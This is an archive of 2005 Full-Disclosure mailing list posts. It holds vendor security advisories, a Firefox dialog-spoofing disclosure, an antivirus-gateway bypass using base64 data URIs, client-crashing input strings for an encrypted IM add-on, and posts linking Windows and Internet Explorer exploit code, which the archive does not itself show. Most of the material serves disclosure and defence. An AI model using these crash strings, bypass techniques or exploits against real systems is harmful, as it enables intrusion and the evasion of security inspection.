Encrypted Messenger (Author: John Hasson) is an add-on program to many instant messenger (IM) applications. It provides end-to-end encryption for many insecure im applications. It is possible to crash the remote (and local) encrypted messenger client using a simple string of characters. Although this is low criticality, a properly timed message could crash the encrypted messenger client causing a message being sent to go out insecurly. Steps for Reproduction: Simple send one of the following strings anywhere inside of your IM to cause the remote encrypted messenger client to throw a run-time exception. Which may be run-time exception (5, 13 or 91) Note, there is no requirement for encryption to be enabled on the remote client nor is there any requirement for the attacker to have encrypted messenger installed. Lethal Strings: %~% !~! Mitigation: The author has confirmed that the next release of Encrypted Messenger will contain a fix for this vulnerability.. As always do not add or authorize unknown users to your IM client. At this time it is not known if further exploitation is possible. Thanks to Craig Lewis, who helped with extended testing. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * From javapro13 at mac.com Mon Jan 10 16:43:06 2005 From: javapro13 at mac.com (Kartik Trivedi) Date: Mon, 10 Jan 2005 08:43:06 -0800 Subject: [Full-Disclosure] Google Hacking and SiteDigger 2.0 In-Reply-To: <20050110142826.18384.qmail@webmail2.aruba.it> References: <20050110142826.18384.qmail@webmail2.aruba.it> Message-ID: <13884577.1105375386999.JavaMail.javapro13@mac.com> Foundstone releases Sitedigger 2.0. Popular free tool to harvest security exposures using google. Download from http://www.foundstone.com New features include Increased signatures - ~1000 (Foundstone + johnny.ihackstuff.com signatures). Latest signature exposes webcams :) Automatic updates, Improved search, Enhanced reports and submit signatrues - get credits http://www.infoworld.com/article/05/01/10/02NNmcafee_1.html http://biz.yahoo.com/prnews/050110/sfm075_1.html Cheers Kartik From dbounds at intrusense.com Mon Jan 10 16:42:38 2005 From: dbounds at intrusense.com (Darren Bounds) Date: Mon, 10 Jan 2005 11:42:38 -0500 Subject: [Full-Disclosure] AV security contacts Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, I'm looking for security contact information for the following vendors: - Sophos - Trend - McAfee - Norman - Norton Any assistance would be greatly appreciated. Thank you, Darren Bounds Intrusense, LLc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iD8DBQFB4rCIsvxTSz2eaa8RAhMkAKDJt+Rxb4oNiG58TQxMTD8YyydpxgCfeBkO KBq2CqrvZSLW0e/rmpFUUIc= =wra9 -----END PGP SIGNATURE----- From liudieyu at umbrella.name Tue Jan 11 06:46:09 2005 From: liudieyu at umbrella.name (Liu Die Yu) Date: Tue, 11 Jan 2005 01:46:09 -0500 Subject: [Full-Disclosure] applicable exploit for winxp-sp2-uptodate Internet Explorer Message-ID: <41E37631.3030003@umbrella.name> patch will come in hours(at least i believe so). many people(paul of greyhats and mike, sandblad of secunia and shreddersub7) already provided proof-of-concept remote-code-execution exploit for winxp-sp2-uptodate Internet Explorer. the problem is: their code is simply not applicable in real attack. so i made this: http://0daymon.org/monitor/injecthh-op-2/dir/injecthh_op_2-code_by_liudieyu http://0daymon.org/monitor/injecthh-op-2/dir.zip From liudieyu at umbrella.name Tue Jan 11 07:06:14 2005 From: liudieyu at umbrella.name (Liu Die Yu) Date: Tue, 11 Jan 2005 02:06:14 -0500 Subject: [Full-Disclosure] UPDATED: the insider exploit( = the latest ie 0day which involves SHOWMODALDIALOG) Message-ID: <41E37AE6.1060708@umbrella.name> the insider exploit( = the latest ie 0day involving SHOWMODALDIALOG) was verified to work on winxp-en-pro-sp1-ms04004(MS04-004 = Q832894 = KB832894), but it does not work on winxp-en-pro-sp1-noextrapatch. jelmer's exploit is not perfect: URLs are hardcoded, and JSP is not popular. so i made this PHP version for copy-and-play: http://0daymon.org/monitor/insider/dir.zip ===== i got it while preparing my collection of applicable IE 0day and related original posts: http://0daymon.org/monitor/ that exploit doesn't work without that IE patch - quite weired, right? and those phishers and their tech support are not as wise as the media describes: 1. they should have removed their code immediately after THE-INSIDER(RAFI from IS) published those URLs. but they still run their stuff to tell the whole world: "yes! we are criminals armed with 0day!" 2. at that time most of home-user systems( = their targets) were not uptodate, which means most of them didn't have MS04-004 required for the exploit to successfully compromise themself. first i test, then i post :-))) From martin.pitt at canonical.com Mon Jan 10 19:03:54 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Mon, 10 Jan 2005 20:03:54 +0100 Subject: [Full-Disclosure] [USN-59-1] mailman vulnerabilities Message-ID: <20050110190354.GA19907@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-59-1 January 10, 2005 mailman vulnerabilities CAN-2004-1177, http://bugs.debian.org/285839 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: mailman The problem can be corrected by upgrading the affected package to version 2.1.5-1ubuntu2.2. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Florian Weimer discovered a cross-site scripting vulnerability in mailman's automatically generated error messages. An attacker could craft an URL containing JavaScript (or other content embedded into HTML) which triggered a mailman error page. When an unsuspecting user followed this URL, the malicious content was copied unmodified to the error page and executed in the context of this page. Juha-Matti Tapio discovered an information disclosure in the private rosters management. Everybody could check whether a specified email address was subscribed to a private mailing list by looking at the error message. This bug was Ubuntu/Debian specific. Important note: There is currently another known vulnerability: when an user subscribes to a mailing list without choosing a password, mailman automatically generates one. However, there are only about 5 million different possible passwords which allows brute force attacks. A different password generation algorithm already exists, but is currently too immature to be put into a stable release security update. Therefore it is advisable to always explicitly choose a password for subscriptions, at least until this gets fixed in Warty Warthog. See https://bugzilla.ubuntu.com/4892 for details. Source archives: http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.1.diff.gz Size/MD5: 126741 01388ca6ce18ad7c6ffed0dd80331787 http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.1.dsc Size/MD5: 658 a7fdf27bc0a54c7ce646c068ccbab069 http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.2.diff.gz Size/MD5: 126788 0c685a329b175f2cd9bef8c86ddd3179 http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.2.dsc Size/MD5: 658 f0251d2cb874e9b11d89e784b742ea8e http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5.orig.tar.gz Size/MD5: 5745912 f5f56f04747cd4aff67427e7a45631af amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.2_amd64.deb Size/MD5: 6602214 27b11a8db50589de58d10d3332dc8ddb i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.2_i386.deb Size/MD5: 6601678 b7ddc324749fe4f4dae5f822c2d37ded powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.2_powerpc.deb Size/MD5: 6610730 ac37d779df320be8dfe6fb86f4c6293d -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/ebc6f8e5/attachment.bin From dbounds at intrusense.com Mon Jan 10 19:08:11 2005 From: dbounds at intrusense.com (Darren Bounds) Date: Mon, 10 Jan 2005 14:08:11 -0500 Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Multi-vendor AV gateway image inspection bypass vulnerability January 10, 2005 A vulnerability has been discovered which allows a remote attacker to bypass anti-virus (as well other security technologies such as IDS and IPS) inspection of HTTP image content. By leveraging techniques described in RFC 2397 for base64 encoding image content within the URL scheme. A remote attack may encode a malicious image within the body of an HTML formatted document to circumvent content inspection. For example: http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php The source code at the URL above will by default create a JPEG image that will attempt (and fail without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability. The image itself is detected by all AV gateway engines tested (Trend, Sophos and McAfee), however, when the same image is base64 encoded using the technique described in RFC 2397 (documented below), inspection is not performed and is delivered rendered by the client. While Microsoft Internet Explorer does not support the RFC 2397 URL scheme; Firefox, Safari, Mozilla and Opera do and will render the data and thus successfully execute the payload if the necessary OS and/or application patches have not been applied. ## BEGIN HTML ## ## END HTML ## Solution: While AV vendor patches are not yet available, fixes for all currently known image vulnerabilities are and have been for several months. If you have not yet applied them, you have your own negligence to blame. Contributions: Thanks to Scott Roeder and Jacinto Rodriquez their assistance in platform testing. Thank you, Darren Bounds Intrusense, LLC. http://www.intrusense.com - -- Intrusense - Securing Business As Usual -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iD8DBQFB4tKesvxTSz2eaa8RAluUAKDmUsM6Hf+U321P/kALTC/rKwoLOwCfaK57 XT6MWYJOH3FmLfV3B1UfuJA= =82yy -----END PGP SIGNATURE----- From vrathod at appsecinc.com Mon Jan 10 22:12:17 2005 From: vrathod at appsecinc.com (Team SHATTER (Application Security, Inc.)) Date: Mon, 10 Jan 2005 17:12:17 -0500 Subject: [Full-Disclosure] [AppSecInc Team SHATTER Security Advisory] Microsoft Windows Improper Token Validation Message-ID: <41E2FDC1.1030401@appsecinc.com> Microsoft Windows Improper Token Validation AppSecInc Team SHATTER Security Advisory http://www.appsecinc.com/resources/alerts/general/06-0001.html January 10, 2005 Credit: This vulnerability was discovered and researched by Cesar Cerrudo of Application Security, Inc. Risk Level: High Summary: A local privilege elevation vulnerability exists on the Windows operating systems. This vulnerability allows any user to take complete control over the system and affects Windows 2000, Windows XP, and Windows 2003 (all service packs). Versions Affected: Microsoft Windows 2000, Windows XP, and Windows 2003 (all service packs). Details: According to MSDN: "An access token is an object that describes the security context of a process or thread. The information in a token includes the identity and privileges of the user account associated with the process or thread. When a user logs on, the system verifies the user's password by comparing it with information stored in a security database. If the password is authenticated, the system produces an access token. Every process executed on behalf of this user has a copy of this access token. The system uses an access token to identify the user when a thread interacts with a securable object or tries to perform a system task that requires privileges. Access tokens contain the following information: - The security identifier (SID) for the user's account - SIDs for the groups of which the user is a member - A logon SID that identifies the current logon session - A list of the privileges held by either the user or the user's groups - An owner SID - The SID for the primary group - The default DACL that the system uses when the user creates a securable object without specifying a security descriptor - The source of the access token - Whether the token is a primary or impersonation token - An optional list of restricting SIDs - Current impersonation levels - Other statistics Every process has a primary token that describes the security context of the user account associated with the process. By default, the system uses the primary token when a thread of the process interacts with a securable object. Moreover, a thread can impersonate a client account. Impersonation allows the thread to interact with securable objects using the client's security context. A thread that is impersonating a client has both a primary token and an impersonation token." Microsoft introduced a new user right called "Impersonate a client after authentication" in Windows 2000 SP4, Windows 2003, and Windows XP SP2. This right allows or limits the processes ran by a user from being able to impersonate. For instance, if a process thread running in the security context of a user without proper rights tries to impersonate, then it gets an Identity Token instead of an Impersonation Token. An Identity Token only identifies the user account under which the target process is running and can not be used for impersonation. An Identity Token can also be retrieved by a thread in order to identify the user account under which a process is running. Under certain circumstances this Identity Token can be used to impersonate any process thread running under any user account. The attack vector identified is to impersonate a victim using Identity Tokens to access network shares using UNC. For instance, after a thread gets an Identity Token for the Local System account or an administrative account, the token can be used to impersonate and access administrative shares such as \\computername\c$ and to replace system files such as .exe, .dll, etc... This allows an attacker to elevate privileges or to read arbitrary files bypassing permissions. Also, network shares on other computers can be accessed in the same way. For instance, user JohnDoe's Identity Token can access \\remotepc\someshare\ for which the user JohnDoe has permissions but the attacker does not. The attack succeeds because apparently that user's credentials are cached by the LSASS (Local Security Authority Subsystem Service) after successfully authenticating to a network share by standard methods. Then when the share is accessed again, the LSASS assumes an Identity Token is an Impersonation token and uses the cached credentials to authenticate. This vulnerability is critical for servers using Terminal Services (or Citrix) because a user could impersonate any other user to access network shares. Links: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/client_impersonation.asp http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/access_tokens.asp http://support.microsoft.com/kb/821546/en-us http://www.microsoft.com/resources/documentation/WindowsServ/2003/standard/proddocs/en-us/Default.asp?url=/resources/documentation/WindowsServ/2003/standard/proddocs/en-us/647.asp Workaround: None. Fix: http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx ---------------------------------------------------------------------- Application Security, Inc. www.appsecinc.com AppSecInc is the leading provider of database security solutions for the enterprise. AppSecInc products proactively secure enterprise applications at more than 200 organizations around the world by discovering, assessing, and protecting the database against rapidly changing security threats. By securing data at its source, we enable organizations to more confidently extend their business with customers, partners and suppliers. Our security experts, combined with our strong support team, deliver up-to-date application safeguards that minimize risk and eliminate its impact on business. ---------------------------------------------------------------------- From vrathod at appsecinc.com Mon Jan 10 22:12:24 2005 From: vrathod at appsecinc.com (Team SHATTER (Application Security, Inc.)) Date: Mon, 10 Jan 2005 17:12:24 -0500 Subject: [Full-Disclosure] [AppSecInc Team SHATTER Security Advisory] Microsoft Windows LPC heap overflow Message-ID: <41E2FDC8.1050800@appsecinc.com> Microsoft Windows LPC heap overflow AppSecInc Team SHATTER Security Advisory http://www.appsecinc.com/resources/alerts/general/07-0001.html January 10, 2005 Credit: This vulnerability was discovered and researched by Cesar Cerrudo of Application Security, Inc. Risk Level: High Summary: A local privilege elevation vulnerability exists on the Windows operating systems. This vulnerability allows any user to take complete control over the system and affects Windows NT, Windows 2000, Windows XP, and Windows 2003 (all service packs). Versions Affected: Microsoft Windows NT, Windows 2000, Windows XP, and Windows 2003 (all service packs). Details: The LPC (Local Procedure Call) mechanism is a type of interprocess communication used by the Windows operating systems. LPC is used to communicate between processes running on the same system while RPC (Remote Procedure Call) is used to communicate between processes on remote systems. When a client process communicates with a server using LPC, the kernel fails to check that the server process has allocated enough memory before copying data sent by the client process. The native API used to connect to the LPC port is NtConnectPort. A parameter of the NtConnectPort API allows a buffer of up 260 bytes. When using this function the buffer is copied by the kernel from the client process to the server process memory ignoring the buffer size restriction which the server process set when calling NtCreatePort (the native API used to create LPC ports). This causes a heap corruption in the server process allowing arbitrary memory to be overwritten and can lead to arbitrary code execution. Workaround: None. Fix: http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx ---------------------------------------------------------------------- Application Security, Inc. www.appsecinc.com AppSecInc is the leading provider of database security solutions for the enterprise. AppSecInc products proactively secure enterprise applications at more than 200 organizations around the world by discovering, assessing, and protecting the database against rapidly changing security threats. By securing data at its source, we enable organizations to more confidently extend their business with customers, partners and suppliers. Our security experts, combined with our strong support team, deliver up-to-date application safeguards that minimize risk and eliminate its impact on business. ---------------------------------------------------------------------- From cesarc56 at yahoo.com Mon Jan 10 22:52:45 2005 From: cesarc56 at yahoo.com (Cesar) Date: Mon, 10 Jan 2005 14:52:45 -0800 (PST) Subject: [Full-Disclosure] Windows Improper Token Validation -Exploit- Message-ID: <20050110225245.59079.qmail@web54407.mail.yahoo.com> Enjoy!!!!!!;) Cesar. __________________________________ Do you Yahoo!? Take Yahoo! Mail with you! Get it on your mobile phone. http://mobile.yahoo.com/maildemo -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: ImperExploit.cpp Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/46949fbd/attachment.ksh From mikx at mikx.de Mon Jan 10 23:22:09 2005 From: mikx at mikx.de (mikx) Date: Tue, 11 Jan 2005 00:22:09 +0100 Subject: [Full-Disclosure] Firespoofing [Firefox 1.0] Message-ID: <00c801c4f76b$36346020$280207d5@netvision.ads> __Summary Using javascript it is possible to spoof the content of security and download dialogs by partly covering them with a popup window. This can fool a user to download and automaticly execute a file (if a file extension association exists) or to grant a script local data access (if codebase principals are enabled). __Expected Behavior Modal dialogs should always be on top and it should not be possible to obfuscate their appearance. __Proof-of-Concept http://www.mikx.de/firespoofing/ The PoC is designed for Firefox 1.0 running in a maximized window. Part 1 - download dialog spoofing Shows how to cover a download dialog and fool the user to execute a file with a standard windows file association (in this case a .ht file). BTW, remember the latest .ht buffer overflow... Part 2 - security dialog spoofing Shows how to cover a security dialog. Make sure codebase principals are enabled (not default but encouraged by many XUL sites). Creates the file c:\booom.txt to proof local system access. __Status The bug is confirmed but currently unfixed (open for more than 3 months). As a partial workaround set dom.disable_window_flip to true in about:config. The vendor failed to respond to multiple status requests which led to this public disclosure. 2004-09-20 Vendor informed (bugzilla.mozilla.org #260560) 2004-09-20 Vendor confirmed bug 2004-10-20 Status request (open for 1 month - no reply) 2005-01-03 Status request (open for 3 months - no reply) 2005-01-07 Status request (disclosure warning - no reply) 2005-01-11 Public disclosure __Affected Software Tested with Firefox 1.0, Mozilla 1.7.5 and Netscape 7.1 on Windows XP SP2. __Contact Informations Michael Krax http://www.mikx.de/?p=7 mikx From krispykringle at gentoo.org Tue Jan 11 00:07:12 2005 From: krispykringle at gentoo.org (Dan Margolis) Date: Mon, 10 Jan 2005 19:07:12 -0500 Subject: [Full-Disclosure] [ GLSA 200501-15 ] UnRTF: Buffer overflow Message-ID: <20050111000712.GA1832@specialk> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-15 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: UnRTF: Buffer overflow Date: January 10, 2005 Bugs: #74480 ID: 200501-15 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== A buffer overflow in UnRTF allows an attacker to execute arbitrary code by way of a specially crafted RTF file. Background ========== UnRTF is a utility to convert files in the Rich Text Format into other formats. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-text/unrtf < 0.19.3-r1 >= 0.19.3-r1 Description =========== An unchecked strcat() in unrtf may overflow the bounds of a static buffer. Impact ====== Using a specially crafted file, possibly delivered by e-mail or over the web, an attacker may execute arbitrary code with the permissions of the user running UnRTF. Workaround ========== There is no known workaround at this time. Resolution ========== All unrtf users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-text/unrtf-0.19.3-r1" References ========== [ 1 ] Original Announcement http://tigger.uic.edu/~jlongs2/holes/unrtf.txt Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-15.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 481 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/fec6f6bf/attachment.bin From krispykringle at gentoo.org Tue Jan 11 00:08:37 2005 From: krispykringle at gentoo.org (Dan Margolis) Date: Mon, 10 Jan 2005 19:08:37 -0500 Subject: [Full-Disclosure] [ GLSA 200501-14 ] mpg123: Buffer overflow Message-ID: <20050111000837.GB1832@specialk> Linux Security Advisory GLSA 200501-14 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: mpg123: Buffer overflow Date: January 10, 2005 Bugs: #76862 ID: 200501-14 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== An attacker may be able to execute arbitrary code by way of specially crafted MP2 or MP3 files. Background ========== mpg123 is a real-time MPEG audio player. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 media-sound/mpg123 < 0.59s-r9 >= 0.59s-r9 Description =========== mpg123 improperly parses frame headers in input streams. Impact ====== By inducing a user to play a malicious file, an attacker may be able to exploit a buffer overflow to execute arbitrary code with the permissions of the user running mpg123. Workaround ========== There is no known workaround at this time. Resolution ========== All mpg123 users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=media-sound/mpg123-0.59s-r9" References ========== [ 1 ] CAN-2004-0991 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0991 [ 2 ] Bugtraq Announcement http://www.securityfocus.com/archive/1/374433 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-14.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 481 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/d8fbfdd0/attachment.bin From stuart at cyberdelix.net Tue Jan 11 01:36:45 2005 From: stuart at cyberdelix.net (lsi) Date: Tue, 11 Jan 2005 01:36:45 -0000 Subject: [Full-Disclosure] logfile spammer Message-ID: <41E32DAD.6337.20D335C4@localhost> This character seems to be attempting to get himself near the top of my "top referring URLs" webstats page - either to get my attention, or - he hoped - the attention of my site visitors, who would ordinarily be subjected to his URLs as a result of the 1000's of hits he's generating in order to get himself there ..... ..so I had to write a filter to sanitise my logfile. The filter of course requires filter strings which I provide below, just in case anyone else has this same problem. Almost all the names contain this in their WHOIS record: Registrant Contact: Craig Williams (cwill8 at orogonet.com) +1.5418629145 688 Robmar Lane Grants Pass, OR 97527 US Good to see your, uh, heathly range of tastes there Craig. www.ads-swingers.org www.adult-finder-friend.net www.adult-sex-personals.org www.adult-sex-personals.us www.adultfinderfriend.net www.adultpersonalsboard.org www.cheating-wives.biz www.cheatingwives.us www.christian-online-dating.biz www.christian-online-dating.us www.christian-online-personals.com www.christian-singles-online.net www.christiandatingonline.biz www.christiandatingonline.us www.christianonlinedating.biz www.club-swingers.com www.dating-christian.us www.dating-jewish.com www.dating-jewish.us www.datingchristian.biz www.datingchristian.net www.datingchristian.org www.datingchristian.us www.datingjewish.biz www.discrete-encounters.com www.encounters-adult.com www.encounters-discreet.com www.female-drive-dysfunction.net www.female-dysfunction.com www.female-dysfunction.net www.female-enhancement.biz www.female-libido-drive.com www.female-libido-dysfunction.com www.female-libido-enhancement.org www.female-libido.org www.female-libido.us www.female-viagra.us www.femaledrive.com www.femaledysfunction.com www.femalelibido.biz www.femalelibido.us www.femalelibidodysfunction.com www.femalelibidoenhancement.net www.femaleviagra.org www.finderadultfriend.com www.finderfriendadult.com www.friend-finder-adult.biz www.friend-finder-adult.org www.help-sleep.com www.help-sleeping.com www.helpsleeping.us www.herbal-aid.com www.herbal-sleep.com www.herbal-sleep.net www.herbalsleepaid.net www.insomnia-cure.net www.insomnia-cure.us www.insomnia-deprivation.biz www.insomnia-deprivation.com www.insomnia-disorder.com www.insomnia-disorder.org www.insomnia-help.org www.insomnia-help.us www.insomnia-herbal.com www.insomniahelp.net www.insomniahelp.org www.jewish-dating-online.net www.jewish-dating-online.org www.jewish-online-dating.us www.jewish-personals.org www.jewishonlinedating.biz www.jewishpersonals.biz www.meet-for-sex.com www.online-dating-christian.com www.online-personals-christian.com www.onlinedatingchristian.com www.personals-adult.net www.personals-christian.com www.personals-jewish.com www.personals-jewish.net www.personals-jewish.org www.personals-sex.com www.personals-sex.net www.personalschristian.org www.red-personals.org www.sexmeetings.net www.singles-christian.biz www.singles-christian.org www.singles-christian.us www.singles-jewish.com www.singles-jewish.net www.singles-jewish.org www.singleschristian.us www.sleep-deprivation.biz www.sleep-deprivation.us www.sleep-disorder.us www.sleep-disorders.biz www.sleepcure.org www.sleepinghelp.org www.swingers-club.us www.swingers-clubs.net www.swingers-clubs.us www.swingers-couples.com www.swingersads.org www.swinging-wives.org www.swingingcouples.biz www.swingingcouples.us www.swingingcouplesboard.com www.swingingwives.net www.swingingwives.us www.trouble-sleeping.net www.trouble-sleeping.us www.troublesleeping.org www.viagrafemale.net www.viagrafemaledrive.com --- Stuart Udall stuart at at cyberdelix.dot net - http://www.cyberdelix.net/ --- * Origin: lsi: revolution through evolution (192:168/0.2) From chance_user at yahoo.com Tue Jan 11 02:13:49 2005 From: chance_user at yahoo.com (Some User) Date: Mon, 10 Jan 2005 18:13:49 -0800 (PST) Subject: [Full-Disclosure] PoC to be released on 01/20/05 Message-ID: <20050111021349.14562.qmail@web61208.mail.yahoo.com> This is a PoC by the people! Be sure to do your part. :-) Not One Damn Dime Day - Jan 20, 2005 Since our religious leaders will not speak out against the war in Iraq, since our political leaders don't have the moral courage to oppose it, Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime Day" in America. On "Not One Damn Dime Day" those who oppose what is happening in our name in Iraq can speak up with a 24-hour national boycott of all forms of consumer spending. During "Not One Damn Dime Day" please don't spend money. No one damn dime for gasoline. Not one damn dime for necessities or for impulse purchases. Not one damn dime for nothing for 24 hours. On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target. Please don't go to the mall or the local convenience store. Please don't buy any fast food (or any groceries at all for that matter). For 24 hours, please do what you can to shut the retail economy down. The object is simple. Remind the people in power that the war in Iraq is immoral and illegal; that they are responsible for starting it and that it is their responsibility to stop it. "Not One Damn Dime Day" is to remind them, too, that they work for the people of the United States of America, not for the international corporations and K Street lobbyists who represent the corporations and funnel cash into American politics. "Not One Damn Dime Day" is about supporting the troops. The politicians put the troops in harm's way. Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have died. The politicians owe our troops a plan - a way to come home. There's no rally to attend. No marching to do. No left or right wing agenda to rant about. On "Not One Damn Dime Day" you take action by doing nothing. You open your mouth by keeping your wallet closed. For 24 hours, nothing gets spent, not one damn dime, to remind our religious leaders and our politicians of their moral responsibility to end the war in Iraq and give America back to the people. ==> Please share this email. <== Original sent by: James Wong Marsteller Interactive --------------------------------- Do you Yahoo!? The all-new My Yahoo! ? What will yours do? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/1e45795b/attachment.html From jasonc at science.org Tue Jan 11 03:17:59 2005 From: jasonc at science.org (Jason Coombs) Date: Mon, 10 Jan 2005 22:17:59 -0500 Subject: [Full-Disclosure] PoC to be released on 01/20/05 Message-ID: > end the war in Iraq and give America back to the people. America, like information security, belongs only to those who are willing to work hard to hold onto it. It is accessible only to those who understand how things really work, technically. What you may not realize is that America has been exported. The ideals and culture, the dream and its opportunity for realization by all honest, hard-working citizens, no longer exists within the United States brand way of life. If you want your America back, you will have to relocate to the many places in the world where it has gone to without you. America still welcomes you, but it isn't going to save you from yourself. Regards, Jason Coombs jasonc at science.org From pwicks at oxygen.com Tue Jan 11 03:32:25 2005 From: pwicks at oxygen.com (James Patterson Wicks) Date: Mon, 10 Jan 2005 22:32:25 -0500 Subject: [Full-Disclosure] PoC to be released on 01/20/05 Message-ID: <3AF76382C31760418AF0FBFD84F714035D0DD2@MI8NYCMAIL07.Mi8.com> How about Read The List Charter Day. - For 24 hours, do not create a bogus Yahoo email account and send out questions or statements not related to network security or the full disclosure of security issues. - For 24 hours, do not burden serious security professionals with your personal political opinions - For 24 hours, close your mouth, tape your fingers and read the list charter that clearly states "Politics should be avoided at all costs." This is Full Disclosure. "The list was created on 9th July 2002 by Len Rose, and is primarily concerned with security issues and their discussion." Since Snopes.com feels that this whole thing might be an urban legend (http://www.snopes.com/politics/war/not1dime.asp) you might want think about this a little more before send the message out again. ________________________________ From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Some User Sent: Monday, January 10, 2005 9:14 PM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] PoC to be released on 01/20/05 This is a PoC by the people! Be sure to do your part. :-) Not One Damn Dime Day - Jan 20, 2005 Since our religious leaders will not speak out against the war in Iraq, since our political leaders don't have the moral courage to oppose it, Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime Day" in America. On "Not One Damn Dime Day" those who oppose what is happening in our name in Iraq can speak up with a 24-hour national boycott of all forms of consumer spending. During "Not One Damn Dime Day" please don't spend money. No one damn dime for gasoline. Not one damn dime for necessities or for impulse purchases. Not one damn dime for nothing for 24 hours. On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target. Please don't go to the mall or the local convenience store. Please don't buy any fast food (or any groceries at all for that matter). For 24 hours, please do what you can to shut the retail economy down. The object is simple. Remind the people in power that the war in Iraq is immoral and illegal; that they are responsible for starting it and that it is their responsibility to stop it. "Not One Damn Dime Day" is to remind them, too, that they work for the people of the United States of America, not for the international corporations and K Street lobbyists who represent the corporations and funnel cash into American politics. "Not One Damn Dime Day" is about supporting the troops. The politicians put the troops in harm's way. Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have died. The politicians owe our troops a plan - a way to come home. There's no rally to attend. No marching to do. No left or right wing agenda to rant about. On "Not One Damn Dime Day" you take action by doing nothing. You open your mouth by keeping your wallet closed. For 24 hours, nothing gets spent, not one damn dime, to remind our religious leaders and our politicians of their moral responsibility to end the war in Iraq and give America back to the people. ==> Please share this email. <== Original sent by: James Wong Marsteller Interactive ________________________________ Do you Yahoo!? The all-new My Yahoo! - What will yours do? This e-mail is the property of Oxygen Media, LLC. It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have 